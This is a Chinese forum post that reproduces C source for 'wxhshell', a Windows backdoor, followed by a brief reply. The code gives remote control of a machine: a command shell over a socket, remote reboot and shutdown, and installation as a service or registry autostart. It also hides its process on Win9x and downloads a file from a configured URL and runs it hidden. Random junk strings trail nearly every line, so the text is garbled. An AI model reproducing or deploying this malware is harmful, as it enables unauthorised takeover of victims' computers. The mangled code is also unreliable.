    switch(cmd[0]) { (W3~r  
  .jRp.U  
  // 帮助 etdI:N*x  
  case '?': { gc-yUH0I  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0c4H2RW  
    break; i]8HzKuiW  
  } Rh-e C6P  
  // 安装 !/G2vF"  
  case 'i': { TI-8I)  
    if(Install()) @Otom'O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oD]tHuDa  
    else cq`v8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B&&:A4  
    break; ^PIU A'  
    } _}.BZ[i  
  // 卸载  4l+"J:,  
  case 'r': { `_C4L=q"  
    if(Uninstall()) 5v4 ,YHD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4 2aYM!  
    else 9L;fT5Tp7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C-/<5D j  
    break; 1BK-uv:  
    } ^ZX71-  
  // 显示 wxhshell 所在路径 tz-, |n0  
  case 'p': { ec/1Z8}p  
    char svExeFile[MAX_PATH]; =$6z1] ;3  
    strcpy(svExeFile,"\n\r"); \Tf845  
      strcat(svExeFile,ExeFile); smQ<lwA  
        send(wsh,svExeFile,strlen(svExeFile),0); =Jfo=`da  
    break; tgy*!B6a~  
    } |Id0+-V ?  
  // 重启 8%]o6'd4  
  case 'b': { O,"4HZG  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ( /{Wu:e  
    if(Boot(REBOOT)) hER]%)#r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,$ L>  
    else { )%lPa|7s  
    closesocket(wsh); [V_Z9-f*  
    ExitThread(0); bhaIi>W~G  
    } T!C39T  
    break; :B?C~U k  
    } jovI8Dw >  
  // 关机 UN'[sHjOnD  
  case 'd': { 6('2.^8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?zW4|0  
    if(Boot(SHUTDOWN)) -ju&"L B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1e.V%!Xk  
    else { m,KG}KX  
    closesocket(wsh); XVcY?_AS#  
    ExitThread(0); (LzVWz m  
    } 4{JoeIRyz  
    break; :/ ,h)h)|  
    } ehB (?  
  // 获取shell >ENZ['F  
  case 's': { f QSP]?  
    CmdShell(wsh); v< qN -zG  
    closesocket(wsh); - Te+{  
    ExitThread(0); SoX\S|}%6[  
    break; lt\. )Y>4  
  } F]kn4zr  
  // 退出 z97RNT|Y7U  
  case 'x': { `R@1Sc<*|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Hd H,   
    CloseIt(wsh); 0Z9>%\km_  
    break; Vx$ ?)&  
    } <7-:flQz~  
  // 离开 T.\=R  
  case 'q': { ;oW#>!HrY  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *@`Sx'5!  
    closesocket(wsh); Fd!Np7xw  
    WSACleanup(); D4nYyj1O3  
    exit(1); 8,unq3  
    break; JB.f7-  
        } M?mPi 3  
  } W]b>k lp;  
  } m{T:<:q~  
,MH/lQq%  
  // 提示信息 JmL{&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *HiN:30DZ  
} wq$+m (  
  } ?:DeOBAb  
KQGdV{VFs  
  return; j4pxu/2  
} ,*_=w^;Rr  
4#?Sxs  
// shell模块句柄 MYyV{W*T>  
int CmdShell(SOCKET sock) \\w<.\Yh  
{ X@;; h  
STARTUPINFO si; oPP`)b$x  
ZeroMemory(&si,sizeof(si)); G`1!SEae  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~jcdnm]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; M&auA  
PROCESS_INFORMATION ProcessInfo; w)}' {]P"c  
char cmdline[]="cmd"; (lPiv+'n  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); FfEP@$  
  return 0; CshYUr -  
} [_kis  
NVyel*QE  
// 自身启动模式 v+\&8)W=  
int StartFromService(void) ->"Z1  
{ `^_c&y K  
typedef struct 2z*EamF  
{ #6okd*^  
  DWORD ExitStatus; B?M&j  
  DWORD PebBaseAddress; +% E)]*Ym  
  DWORD AffinityMask; {v3?.a$ u  
  DWORD BasePriority; P _e9>t@  
  ULONG UniqueProcessId; hbfN1 "z  
  ULONG InheritedFromUniqueProcessId; Tfsx&k\  
}   PROCESS_BASIC_INFORMATION; Lt'FA  
LT+QW  
PROCNTQSIP NtQueryInformationProcess; /:S&1'=  
3` ,u^ w  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; AN)exU ?  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Bh<DqN  
_m0B6?KJ  
  HANDLE             hProcess; \3K%>   
  PROCESS_BASIC_INFORMATION pbi; *z?Vy<u G  
P|U9f6^3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `IC2}IiF  
  if(NULL == hInst ) return 0; 2Q bCH}  
N$&)gI:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); T( LlNq  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~;)H |R5kV  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5N~JRq\  
RX])#=Cs  
  if (!NtQueryInformationProcess) return 0; PvHX#wJ  
I= '6>+P  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5`>%{ o  
  if(!hProcess) return 0; gXy'@ !  
_|^cudRv  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; a+!r5689  
LZ'Y3 *  
  CloseHandle(hProcess); n^[VN[ VC  
X}f u $2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %p; 'l  
if(hProcess==NULL) return 0; `J l/@bE=  
"A9qC*6[  
HMODULE hMod; Pl/}`H:R&  
char procName[255]; q0sdL86  
unsigned long cbNeeded; ;rj|>  
2=]Xe#5J=  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [H4)p ,R  
_GW,9s^A  
  CloseHandle(hProcess); tDWoQ&z2t_  
P >>VBh?  
if(strstr(procName,"services")) return 1; // 以服务启动 qT153dNA&  
EX"o9'  
  return 0; // 注册表启动 b f j]Q  
} V'M#."Of/  
*!5X!\e_  
// 主模块 B'}pZOa[Wb  
int StartWxhshell(LPSTR lpCmdLine) n.l7V<1  
{ G4<M@ET  
  SOCKET wsl; S4O'N x  
BOOL val=TRUE; fUKi@*^ZUa  
  int port=0; H$M{thW  
  struct sockaddr_in door; DnP "7}v  
HSG7jC'_  
  if(wscfg.ws_autoins) Install(); wdMVy=SS  
OAiSE`  
port=atoi(lpCmdLine); v$d^>+Y#  
`z1E]{A  
if(port<=0) port=wscfg.ws_port; !+o`,KTYp  
*S= c0  
  WSADATA data; -\I".8"YE  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2~B9 (|  
VKb=)v[K  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   !kQJ6U  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #E;a ;$p  
  door.sin_family = AF_INET; yM PZ}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); zd0 [f3~  
  door.sin_port = htons(port); 38zG[c|X  
/w/um>>K.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { P9f,zM-  
closesocket(wsl); Ox%.We 5  
return 1; ]_js-+w6  
} >HRL@~~Z  
@AfC$T  
  if(listen(wsl,2) == INVALID_SOCKET) { Qz4n%|  
closesocket(wsl); {oVoN>gp  
return 1; D:=Q)Uh0I  
} W6&mXJ^3L  
  Wxhshell(wsl); fN_Ilg)t?5  
  WSACleanup(); WB|N)3-1  
g^)8a;/c  
return 0; oR@1/lV  
u"5 hlccH  
} 'z$!9ufY,  
Aa!#=V1d  
// 以NT服务方式启动 .T*89cEu  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) j 21>\K!p  
{ a0)]W%F  
DWORD   status = 0; m#|h22^H  
  DWORD   specificError = 0xfffffff; DP6>fzsl  
s$ZKd  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /I~(*X  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )u>/:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,7os3~Mk9  
  serviceStatus.dwWin32ExitCode     = 0; \F8 :6-  
  serviceStatus.dwServiceSpecificExitCode = 0; \H {UJ  
  serviceStatus.dwCheckPoint       = 0; #v\o@ArX  
  serviceStatus.dwWaitHint       = 0; <d~IdK'\x  
a_(fqoW  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); B#, TdP]/  
  if (hServiceStatusHandle==0) return; Z_ (P^/  
Cm%xI& Y  
status = GetLastError(); V2o1~R~  
  if (status!=NO_ERROR) P*g:rg  
{ cNG`-+U'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /|WBk}  
    serviceStatus.dwCheckPoint       = 0; ,T0q.!d  
    serviceStatus.dwWaitHint       = 0; [W Ud9fUL  
    serviceStatus.dwWin32ExitCode     = status; z+{Q(8'b]  
    serviceStatus.dwServiceSpecificExitCode = specificError; v<:/u(i  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %ou@Y`  
    return; m~RMe9Qi  
  } / TAza9a  
Rc#c^F<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?XnKKw\  
  serviceStatus.dwCheckPoint       = 0; #<81`%  
  serviceStatus.dwWaitHint       = 0; LPS]TG\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2|JtRE+  
} Jl@YBzDfF  
8fC 5O  
// 处理NT服务事件,比如:启动、停止 D[Kq`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0}wmBSl  
{ 4|/=]w  
switch(fdwControl) qK,PuD7i"  
{ !CUX13/0  
case SERVICE_CONTROL_STOP: h"4i/L3aAh  
  serviceStatus.dwWin32ExitCode = 0; ij&T \):d  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; G~{#%i  
  serviceStatus.dwCheckPoint   = 0; SGUZ'}  
  serviceStatus.dwWaitHint     = 0; '"]QAj?N  
  { B j z@X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8^5@J) R8  
  } m:]60koz]o  
  return; dw3H9(-lp  
case SERVICE_CONTROL_PAUSE:  `s~[q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; u$ a7  
  break; ';KZ.D  
case SERVICE_CONTROL_CONTINUE: !Nx'4N`&l  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; DlxL:  
  break; Ybp';8V  
case SERVICE_CONTROL_INTERROGATE: pe>[Ts`2F  
  break; XG8UdR|  
}; Z>_F:1x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M&5De{LS}  
} {8w,{p`  
qU+q Y2S:  
// 标准应用程序主函数 nD}CQ_C  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) pg/SYEvsV  
{ cb`ik)=K%  
A9kn\U92  
// 获取操作系统版本 ]z"7v  
OsIsNt=GetOsVer(); -jcgxQH53  
GetModuleFileName(NULL,ExeFile,MAX_PATH); FSHC\8siS  
a n|bzG  
  // 从命令行安装 N6w!V]b  
  if(strpbrk(lpCmdLine,"iI")) Install(); i ?]`9z  
}q=uI`  
  // 下载执行文件 #8i9@w  
if(wscfg.ws_downexe) { B; r` 1 G  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) M:R|hR{=*  
  WinExec(wscfg.ws_filenam,SW_HIDE); e<duD W$X  
} r%vO^8FQ  
qqr]S^WW  
if(!OsIsNt) { gF~#M1!!  
// 如果时win9x,隐藏进程并且设置为注册表启动 FGu#Pa  
HideProc(); L /V;;  
StartWxhshell(lpCmdLine); 04@?Jb1*  
} f1 Zj:3e  
else /m8&E*+T1  
  if(StartFromService()) VZCCMh-  
  // 以服务方式启动 K yDPD'  
  StartServiceCtrlDispatcher(DispatchTable); \KkAU6  
else \><v1x>;  
  // 普通方式启动 R[f@g;h  
  StartWxhshell(lpCmdLine); N5Ih+8zT  
(laVmU?I7  
return 0; 3AcCa>  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八